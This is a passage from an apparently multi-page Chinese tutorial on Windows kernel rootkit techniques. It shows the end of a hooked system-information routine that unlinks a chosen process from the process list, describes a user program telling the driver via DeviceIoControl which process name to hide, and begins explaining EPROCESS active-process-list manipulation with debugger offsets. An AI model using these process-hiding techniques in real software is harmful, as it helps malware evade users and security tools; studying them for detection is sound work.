//要删除的信息在末尾
prev->nextentrydelta = 0;
}
}
else
{
if(curr->nextentrydelta)
{
//要删除的信息在开头
(char *)systeminformation += curr->nextentrydelta;
}
else
{
systeminformation = null;
}
}
//如果链下一个还有其他的进程信息,指针往后移
if(curr->nextentrydelta)
((char*)curr+=curr->nextentrydelta); else
{
curr = null;
break;
}
}
if(curr != null)
{
//把当前指针设置成前一个指针,当前指针后移
prev = curr;
if(curr->nextentrydelta)
((char*)curr+=curr->nextentrydelta);
else curr = null;
}
} // end while(curr)
}
}
return rc;
}
通过ioctl和ring3级的应用程序通过deviceiocontrol(api)交互信息。ring3级的用户程序使用,
deviceiocontrol(handle,ioctl_event_msg,processname,processnamelen,
null,0,& bytesreturned,null)来通知驱动程序要隐藏的进程的名字。
枚举和修改活动进程链表来检测和隐藏进程
1. 介绍eprocess块(进程执行块)
每个进程都由一个eprocess块来表示。eprocess块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ethread块表示的线程。进程的名字,和在用户空间的peb(进程环境)块等等。eprocess中除了peb成员块在是用户空间,其他都是在系统空间中的。
2. 查看eprocess结构
kd> !processfields
!processfields
eprocess structure offsets:
pcb: 0x0
exitstatus: 0x6c
lockevent: 0x70
lockcount: 0x80
createtime: 0x88
exittime: 0x90
lockowner: 0x98
uniqueprocessid: 0x9c
activeprocesslinks: 0xa0
quotapeakpoolusage[0]: 0xa8
quotapoolusage[0]: 0xb0
pagefileusage: 0xb8
commitcha
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>